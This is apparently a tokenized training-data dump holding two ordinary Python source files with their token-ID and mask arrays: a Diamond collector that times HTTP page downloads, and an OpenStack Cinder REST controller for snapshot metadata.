[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Ensighten/Diamond
src/collectors/http/http.py
28
3120
# coding=utf-8 """ Collect statistics from a HTTP or HTTPS connexion #### Dependencies * urllib2 #### Usage Add the collector config as : enabled = True ttl_multiplier = 2 path_suffix = "" measure_collector_time = False byte_unit = byte, req_vhost = www.my_server.com req_url = https://www.my_server.com/, https://www.my_server.com/assets/jquery.js Metrics are collected as : - servers.<hostname>.http.<url>.size (size of the page received in bytes) - servers.<hostname>.http.<url>.time (time to download the page in microsec) '.' and '/' chars are replaced by __, url looking like http://www.site.com/admin/page.html are replaced by http:__www_site_com_admin_page_html """ import urllib2 import diamond.collector import datetime class HttpCollector(diamond.collector.Collector): def get_default_config_help(self): config_help = super(HttpCollector, self).get_default_config_help() config_help.update({ 'req_port': 'Port', 'req_url': 'array of full URL to get (ex : https://www.ici.net/mypage.html)', 'req_vhost': 'Host header variable if needed. Will be added to every request', }) return config_help def get_default_config(self): default_config = super(HttpCollector, self).get_default_config() default_config['path'] = 'http' default_config['req_vhost'] = '' default_config['req_url'] = ['http://localhost/'] default_config['headers'] = {'User-Agent': 'Diamond HTTP collector', } return default_config def collect(self): # create urllib2 vars if self.config['req_vhost'] != "": self.config['headers']['Host'] = self.config['req_vhost'] # time the request for url in self.config['req_url']: self.log.debug("collecting %s", str(url)) req_start = datetime.datetime.now() req = urllib2.Request(url, headers=self.config['headers']) try: handle = urllib2.urlopen(req) the_page = handle.read() req_end = datetime.datetime.now() req_time = req_end - req_start # build a compatible name : no '.' and no'/' in the name metric_name = url.replace( '/', '_').replace( '.', '_').replace( '\\', '').replace( ':', '') # metric_name = url.split("/")[-1].replace(".", "_") if metric_name == '': metric_name = "root" self.publish_gauge( metric_name + '.time', req_time.seconds * 1000000 + req_time.microseconds) self.publish_gauge( metric_name + '.size', len(the_page)) except IOError, e: self.log.error("Unable to open %s", self.config['req_url']) except Exception, e: self.log.error("Unknown error opening url: %s", e)
mit
[ 3, 2803, 29, 1624, 13, 24, 199, 199, 624, 199, 25023, 11076, 687, 282, 3101, 503, 14147, 2557, 476, 1636, 199, 199, 381, 1487, 3209, 421, 627, 4011, 18, 199, 199, 381, 11028, 199, 1123, 314, 14910, 1101, 465, 520, 199, 199, 3827, 275, 715, 199, 12130, 63, 15812, 275, 499, 199, 515, 63, 4511, 275, 3087, 199, 9580, 63, 10946, 63, 521, 275, 756, 199, 4414, 63, 3248, 275, 3696, 12, 199, 2103, 63, 32071, 275, 20732, 14, 1662, 63, 1000, 14, 957, 199, 2103, 63, 633, 275, 4178, 921, 1544, 14, 1662, 63, 1000, 14, 957, 15, 12, 4178, 921, 1544, 14, 1662, 63, 1000, 14, 957, 15, 12186, 15, 22324, 14, 3596, 199, 199, 17213, 787, 13736, 465, 520, 272, 446, 8037, 21455, 4269, 10827, 1014, 21455, 633, 10827, 890, 334, 890, 402, 314, 2034, 3086, 315, 2783, 9, 272, 446, 8037, 21455, 4269, 10827, 1014, 21455, 633, 10827, 521, 334, 521, 370, 5235, 314, 2034, 315, 9967, 3321, 9, 339, 7815, 436, 7324, 8365, 787, 8717, 701, 636, 12, 1166, 10023, 2839, 2126, 1455, 921, 1544, 14, 2124, 14, 957, 15, 2113, 15, 1606, 14, 1360, 787, 8717, 701, 2126, 1455, 21363, 1544, 63, 2124, 63, 957, 63, 2113, 63, 1606, 63, 1360, 199, 624, 199, 199, 646, 4011, 18, 199, 646, 487, 24940, 14, 10946, 199, 646, 2197, 421, 199, 533, 4760, 12852, 8, 328, 24940, 14, 10946, 14, 12852, 304, 339, 347, 664, 63, 885, 63, 888, 63, 3437, 8, 277, 304, 267, 1101, 63, 3437, 275, 1613, 8, 5779, 12852, 12, 291, 680, 362, 63, 885, 63, 888, 63, 3437, 342, 267, 1101, 63, 3437, 14, 873, 2561, 288, 283, 2103, 63, 719, 356, 283, 4313, 297, 288, 283, 2103, 63, 633, 356, 288, 283, 1144, 402, 2615, 2851, 370, 664, 334, 476, 520, 4178, 921, 1544, 14, 530, 73, 14, 846, 15, 1662, 1606, 14, 1360, 3196, 288, 283, 2103, 63, 32071, 356, 288, 283, 4965, 1406, 1750, 340, 4346, 14, 12823, 506, 3483, 370, 4036, 1056, 297, 267, 3828, 267, 372, 1101, 63, 3437, 339, 347, 664, 63, 885, 63, 888, 8, 277, 304, 267, 849, 63, 888, 275, 1613, 8, 5779, 12852, 12, 291, 680, 362, 63, 885, 63, 888, 342, 267, 849, 63, 888, 459, 515, 418, 275, 283, 1014, 7, 267, 849, 63, 888, 459, 2103, 63, 32071, 418, 275, 2125, 267, 849, 63, 888, 459, 2103, 63, 633, 418, 275, 788, 1014, 921, 5967, 15, 418, 398, 849, 63, 888, 459, 2139, 418, 275, 791, 1899, 13, 7788, 356, 283, 1341, 24940, 3101, 14910, 297, 789, 267, 372, 849, 63, 888, 339, 347, 8775, 8, 277, 304, 267, 327, 1218, 4011, 18, 6802, 267, 340, 291, 14, 888, 459, 2103, 63, 32071, 418, 1137, 10812, 288, 291, 14, 888, 459, 2139, 2545, 4965, 418, 275, 291, 14, 888, 459, 2103, 63, 32071, 418, 398, 327, 900, 314, 1056, 267, 367, 1166, 315, 291, 14, 888, 459, 2103, 63, 633, 2565, 288, 291, 14, 793, 14, 1757, 480, 7112, 316, 450, 83, 401, 620, 8, 633, 430, 288, 2648, 63, 928, 275, 2197, 14, 2083, 14, 2131, 342, 288, 2648, 275, 4011, 18, 14, 2017, 8, 633, 12, 2323, 29, 277, 14, 888, 459, 2139, 1105, 288, 862, 26, 355, 2429, 275, 4011, 18, 14, 10890, 8, 2103, 9, 355, 314, 63, 1606, 275, 2429, 14, 739, 342, 355, 2648, 63, 500, 275, 2197, 14, 2083, 14, 2131, 342, 355, 2648, 63, 521, 275, 2648, 63, 500, 446, 2648, 63, 928, 2234, 327, 1900, 282, 9025, 536, 520, 949, 7815, 436, 949, 29957, 315, 314, 536, 355, 6370, 63, 354, 275, 1166, 14, 1814, 8, 490, 17220, 2513, 1959, 1814, 8, 490, 22608, 2513, 1959, 1814, 8, 490, 6468, 297, 12548, 1814, 8, 490, 25475, 4074, 355, 327, 6370, 63, 354, 275, 1166, 14, 1294, 19031, 1988, 17, 1055, 1814, 30381, 2668, 531, 355, 340, 6370, 63, 354, 508, 8061, 490, 6370, 63, 354, 275, 298, 1231, 2, 355, 291, 14, 4763, 63, 26775, 8, 490, 6370, 63, 354, 435, 1987, 521, 297, 490, 2648, 63, 521, 14, 4515, 627, 19492, 435, 2648, 63, 521, 14, 18144, 9, 355, 291, 14, 4763, 63, 26775, 8, 490, 6370, 63, 354, 435, 1987, 890, 297, 490, 822, 8, 1589, 63, 1606, 430, 953, 871, 5925, 12, 325, 26, 355, 291, 14, 793, 14, 705, 480, 6005, 370, 1551, 450, 83, 401, 3044, 291, 14, 888, 459, 2103, 63, 633, 1105, 288, 871, 2186, 12, 325, 26, 355, 291, 14, 793, 14, 705, 480, 5912, 1125, 13618, 1166, 26, 450, 83, 401, 325, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2803, 29, 1624, 13, 24, 199, 199, 624, 199, 25023, 11076, 687, 282, 3101, 503, 14147, 2557, 476, 1636, 199, 199, 381, 1487, 3209, 421, 627, 4011, 18, 199, 199, 381, 11028, 199, 1123, 314, 14910, 1101, 465, 520, 199, 199, 3827, 275, 715, 199, 12130, 63, 15812, 275, 499, 199, 515, 63, 4511, 275, 3087, 199, 9580, 63, 10946, 63, 521, 275, 756, 199, 4414, 63, 3248, 275, 3696, 12, 199, 2103, 63, 32071, 275, 20732, 14, 1662, 63, 1000, 14, 957, 199, 2103, 63, 633, 275, 4178, 921, 1544, 14, 1662, 63, 1000, 14, 957, 15, 12, 4178, 921, 1544, 14, 1662, 63, 1000, 14, 957, 15, 12186, 15, 22324, 14, 3596, 199, 199, 17213, 787, 13736, 465, 520, 272, 446, 8037, 21455, 4269, 10827, 1014, 21455, 633, 10827, 890, 334, 890, 402, 314, 2034, 3086, 315, 2783, 9, 272, 446, 8037, 21455, 4269, 10827, 1014, 21455, 633, 10827, 521, 334, 521, 370, 5235, 314, 2034, 315, 9967, 3321, 9, 339, 7815, 436, 7324, 8365, 787, 8717, 701, 636, 12, 1166, 10023, 2839, 2126, 1455, 921, 1544, 14, 2124, 14, 957, 15, 2113, 15, 1606, 14, 1360, 787, 8717, 701, 2126, 1455, 21363, 1544, 63, 2124, 63, 957, 63, 2113, 63, 1606, 63, 1360, 199, 624, 199, 199, 646, 4011, 18, 199, 646, 487, 24940, 14, 10946, 199, 646, 2197, 421, 199, 533, 4760, 12852, 8, 328, 24940, 14, 10946, 14, 12852, 304, 339, 347, 664, 63, 885, 63, 888, 63, 3437, 8, 277, 304, 267, 1101, 63, 3437, 275, 1613, 8, 5779, 12852, 12, 291, 680, 362, 63, 885, 63, 888, 63, 3437, 342, 267, 1101, 63, 3437, 14, 873, 2561, 288, 283, 2103, 63, 719, 356, 283, 4313, 297, 288, 283, 2103, 63, 633, 356, 288, 283, 1144, 402, 2615, 2851, 370, 664, 334, 476, 520, 4178, 921, 1544, 14, 530, 73, 14, 846, 15, 1662, 1606, 14, 1360, 3196, 288, 283, 2103, 63, 32071, 356, 288, 283, 4965, 1406, 1750, 340, 4346, 14, 12823, 506, 3483, 370, 4036, 1056, 297, 267, 3828, 267, 372, 1101, 63, 3437, 339, 347, 664, 63, 885, 63, 888, 8, 277, 304, 267, 849, 63, 888, 275, 1613, 8, 5779, 12852, 12, 291, 680, 362, 63, 885, 63, 888, 342, 267, 849, 63, 888, 459, 515, 418, 275, 283, 1014, 7, 267, 849, 63, 888, 459, 2103, 63, 32071, 418, 275, 2125, 267, 849, 63, 888, 459, 2103, 63, 633, 418, 275, 788, 1014, 921, 5967, 15, 418, 398, 849, 63, 888, 459, 2139, 418, 275, 791, 1899, 13, 7788, 356, 283, 1341, 24940, 3101, 14910, 297, 789, 267, 372, 849, 63, 888, 339, 347, 8775, 8, 277, 304, 267, 327, 1218, 4011, 18, 6802, 267, 340, 291, 14, 888, 459, 2103, 63, 32071, 418, 1137, 10812, 288, 291, 14, 888, 459, 2139, 2545, 4965, 418, 275, 291, 14, 888, 459, 2103, 63, 32071, 418, 398, 327, 900, 314, 1056, 267, 367, 1166, 315, 291, 14, 888, 459, 2103, 63, 633, 2565, 288, 291, 14, 793, 14, 1757, 480, 7112, 316, 450, 83, 401, 620, 8, 633, 430, 288, 2648, 63, 928, 275, 2197, 14, 2083, 14, 2131, 342, 288, 2648, 275, 4011, 18, 14, 2017, 8, 633, 12, 2323, 29, 277, 14, 888, 459, 2139, 1105, 288, 862, 26, 355, 2429, 275, 4011, 18, 14, 10890, 8, 2103, 9, 355, 314, 63, 1606, 275, 2429, 14, 739, 342, 355, 2648, 63, 500, 275, 2197, 14, 2083, 14, 2131, 342, 355, 2648, 63, 521, 275, 2648, 63, 500, 446, 2648, 63, 928, 2234, 327, 1900, 282, 9025, 536, 520, 949, 7815, 436, 949, 29957, 315, 314, 536, 355, 6370, 63, 354, 275, 1166, 14, 1814, 8, 490, 17220, 2513, 1959, 1814, 8, 490, 22608, 2513, 1959, 1814, 8, 490, 6468, 297, 12548, 1814, 8, 490, 25475, 4074, 355, 327, 6370, 63, 354, 275, 1166, 14, 1294, 19031, 1988, 17, 1055, 1814, 30381, 2668, 531, 355, 340, 6370, 63, 354, 508, 8061, 490, 6370, 63, 354, 275, 298, 1231, 2, 355, 291, 14, 4763, 63, 26775, 8, 490, 6370, 63, 354, 435, 1987, 521, 297, 490, 2648, 63, 521, 14, 4515, 627, 19492, 435, 2648, 63, 521, 14, 18144, 9, 355, 291, 14, 4763, 63, 26775, 8, 490, 6370, 63, 354, 435, 1987, 890, 297, 490, 822, 8, 1589, 63, 1606, 430, 953, 871, 5925, 12, 325, 26, 355, 291, 14, 793, 14, 705, 480, 6005, 370, 1551, 450, 83, 401, 3044, 291, 14, 888, 459, 2103, 63, 633, 1105, 288, 871, 2186, 12, 325, 26, 355, 291, 14, 793, 14, 705, 480, 5912, 1125, 13618, 1166, 26, 450, 83, 401, 325, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
Accelerite/cinder
cinder/api/v1/snapshot_metadata.py
56
6256
# Copyright 2011 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import webob from webob import exc from cinder.api import common from cinder.api.openstack import wsgi from cinder import exception from cinder.i18n import _ from cinder import volume class Controller(wsgi.Controller): """The snapshot metadata API controller for the OpenStack API.""" def __init__(self): self.volume_api = volume.API() super(Controller, self).__init__() def _get_metadata(self, context, snapshot_id): try: snapshot = self.volume_api.get_snapshot(context, snapshot_id) meta = self.volume_api.get_snapshot_metadata(context, snapshot) except exception.SnapshotNotFound: msg = _('snapshot does not exist') raise exc.HTTPNotFound(explanation=msg) return meta @wsgi.serializers(xml=common.MetadataTemplate) def index(self, req, snapshot_id): """Returns the list of metadata for a given snapshot.""" context = req.environ['cinder.context'] return {'metadata': self._get_metadata(context, snapshot_id)} @wsgi.serializers(xml=common.MetadataTemplate) @wsgi.deserializers(xml=common.MetadataDeserializer) def create(self, req, snapshot_id, body): try: metadata = body['metadata'] except (KeyError, TypeError): msg = _("Malformed request body") raise exc.HTTPBadRequest(explanation=msg) context = req.environ['cinder.context'] new_metadata = self._update_snapshot_metadata(context, snapshot_id, metadata, delete=False) return {'metadata': new_metadata} @wsgi.serializers(xml=common.MetaItemTemplate) @wsgi.deserializers(xml=common.MetaItemDeserializer) def update(self, req, snapshot_id, id, body): try: meta_item = body['meta'] except (TypeError, KeyError): expl = _('Malformed request body') raise exc.HTTPBadRequest(explanation=expl) if id not in meta_item: expl = _('Request body and URI mismatch') raise exc.HTTPBadRequest(explanation=expl) if len(meta_item) > 1: expl = _('Request body contains too many items') raise exc.HTTPBadRequest(explanation=expl) context = req.environ['cinder.context'] self._update_snapshot_metadata(context, snapshot_id, meta_item, delete=False) return {'meta': meta_item} @wsgi.serializers(xml=common.MetadataTemplate) @wsgi.deserializers(xml=common.MetadataDeserializer) def update_all(self, req, snapshot_id, body): try: metadata = body['metadata'] except (TypeError, KeyError): expl = _('Malformed request body') raise exc.HTTPBadRequest(explanation=expl) context = req.environ['cinder.context'] new_metadata = self._update_snapshot_metadata(context, snapshot_id, metadata, delete=True) return {'metadata': new_metadata} def _update_snapshot_metadata(self, context, snapshot_id, metadata, delete=False): try: snapshot = self.volume_api.get_snapshot(context, snapshot_id) return self.volume_api.update_snapshot_metadata(context, snapshot, metadata, delete) except exception.SnapshotNotFound: msg = _('snapshot does not exist') raise exc.HTTPNotFound(explanation=msg) except (ValueError, AttributeError): msg = _("Malformed request body") raise exc.HTTPBadRequest(explanation=msg) except exception.InvalidVolumeMetadata as error: raise exc.HTTPBadRequest(explanation=error.msg) except exception.InvalidVolumeMetadataSize as error: raise exc.HTTPRequestEntityTooLarge(explanation=error.msg) @wsgi.serializers(xml=common.MetaItemTemplate) def show(self, req, snapshot_id, id): """Return a single metadata item.""" context = req.environ['cinder.context'] data = self._get_metadata(context, snapshot_id) try: return {'meta': {id: data[id]}} except KeyError: msg = _("Metadata item was not found") raise exc.HTTPNotFound(explanation=msg) def delete(self, req, snapshot_id, id): """Deletes an existing metadata.""" context = req.environ['cinder.context'] metadata = self._get_metadata(context, snapshot_id) if id not in metadata: msg = _("Metadata item was not found") raise exc.HTTPNotFound(explanation=msg) try: snapshot = self.volume_api.get_snapshot(context, snapshot_id) self.volume_api.delete_snapshot_metadata(context, snapshot, id) except exception.SnapshotNotFound: msg = _('snapshot does not exist') raise exc.HTTPNotFound(explanation=msg) return webob.Response(status_int=200) def create_resource(): return wsgi.Resource(Controller())
apache-2.0
[ 3, 1898, 7760, 14260, 2752, 199, 3, 2900, 5924, 5702, 14, 199, 3, 199, 3, 259, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 1265, 1443, 199, 3, 259, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 2047, 1443, 3332, 199, 3, 259, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 260, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 259, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 259, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 2428, 199, 3, 259, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 1666, 314, 199, 3, 259, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 259, 1334, 314, 844, 14, 199, 199, 646, 14568, 199, 504, 14568, 492, 3178, 199, 199, 504, 13069, 14, 1246, 492, 2863, 199, 504, 13069, 14, 1246, 14, 8512, 492, 12464, 199, 504, 13069, 492, 1919, 199, 504, 13069, 14, 73, 1085, 78, 492, 485, 199, 504, 13069, 492, 3301, 421, 199, 533, 16282, 8, 6508, 14, 7506, 304, 272, 408, 1918, 5740, 3341, 3261, 7614, 367, 314, 14260, 3261, 1041, 339, 347, 636, 826, 721, 277, 304, 267, 291, 14, 2405, 63, 1246, 275, 3301, 14, 3735, 342, 267, 1613, 8, 7506, 12, 291, 2843, 826, 4533, 339, 347, 485, 362, 63, 2343, 8, 277, 12, 1067, 12, 5740, 63, 344, 304, 267, 862, 26, 288, 5740, 275, 291, 14, 2405, 63, 1246, 14, 362, 63, 4753, 8, 1100, 12, 5740, 63, 344, 9, 288, 3404, 275, 291, 14, 2405, 63, 1246, 14, 362, 63, 4753, 63, 2343, 8, 1100, 12, 5740, 9, 267, 871, 1919, 14, 12038, 4667, 26, 288, 1499, 275, 4018, 4753, 1630, 440, 2187, 358, 288, 746, 3178, 14, 26553, 8, 15228, 29, 1328, 9, 267, 372, 3404, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 5142, 4231, 9, 272, 347, 1478, 8, 277, 12, 2648, 12, 5740, 63, 344, 304, 267, 408, 3407, 314, 769, 402, 3341, 367, 282, 1627, 5740, 1041, 267, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 267, 372, 791, 2343, 356, 291, 423, 362, 63, 2343, 8, 1100, 12, 5740, 63, 344, 6769, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 5142, 4231, 9, 272, 768, 6508, 14, 271, 12844, 8, 1652, 29, 2330, 14, 5142, 872, 8349, 9, 272, 347, 1218, 8, 277, 12, 2648, 12, 5740, 63, 344, 12, 2396, 304, 267, 862, 26, 288, 3341, 275, 2396, 459, 2343, 418, 267, 871, 334, 10230, 12, 3146, 304, 288, 1499, 275, 3824, 29513, 1056, 2396, 531, 288, 746, 3178, 14, 21070, 8, 15228, 29, 1328, 9, 398, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 398, 892, 63, 2343, 275, 291, 423, 873, 63, 4753, 63, 2343, 8, 1100, 12, 10028, 5740, 63, 344, 12, 10028, 3341, 12, 10028, 3145, 29, 797, 9, 398, 372, 791, 2343, 356, 892, 63, 2343, 93, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 3396, 2081, 4231, 9, 272, 768, 6508, 14, 271, 12844, 8, 1652, 29, 2330, 14, 3396, 2081, 872, 8349, 9, 272, 347, 1678, 8, 277, 12, 2648, 12, 5740, 63, 344, 12, 1305, 12, 2396, 304, 267, 862, 26, 288, 3404, 63, 1053, 275, 2396, 459, 2024, 418, 267, 871, 334, 4333, 12, 4067, 304, 288, 29278, 275, 4018, 29513, 1056, 2396, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 340, 1305, 440, 315, 3404, 63, 1053, 26, 288, 29278, 275, 4018, 2017, 2396, 436, 9022, 15015, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 340, 822, 8, 2024, 63, 1053, 9, 690, 413, 26, 288, 29278, 275, 4018, 2017, 2396, 3509, 4634, 5002, 2974, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 267, 291, 423, 873, 63, 4753, 63, 2343, 8, 1100, 12, 4318, 5740, 63, 344, 12, 4318, 3404, 63, 1053, 12, 4318, 3145, 29, 797, 9, 398, 372, 791, 2024, 356, 3404, 63, 1053, 93, 339, 768, 6508, 14, 12844, 8, 1652, 29, 2330, 14, 5142, 4231, 9, 272, 768, 6508, 14, 271, 12844, 8, 1652, 29, 2330, 14, 5142, 872, 8349, 9, 272, 347, 1678, 63, 452, 8, 277, 12, 2648, 12, 5740, 63, 344, 12, 2396, 304, 267, 862, 26, 288, 3341, 275, 2396, 459, 2343, 418, 267, 871, 334, 4333, 12, 4067, 304, 288, 29278, 275, 4018, 29513, 1056, 2396, 358, 288, 746, 3178, 14, 21070, 8, 15228, 29, 476, 1168, 9, 398, 1067, 275, 2648, 14, 2314, 459, 12372, 14, 1100, 418, 267, 892, 63, 2343, 275, 291, 423, 873, 63, 4753, 63, 2343, 8, 1100, 12, 10028, 5740, 63, 344, 12, 10028, 3341, 12, 10028, 3145, 29, 549, 9, 398, 372, 791, 2343, 356, 892, 63, 2343, 93, 339, 347, 485, 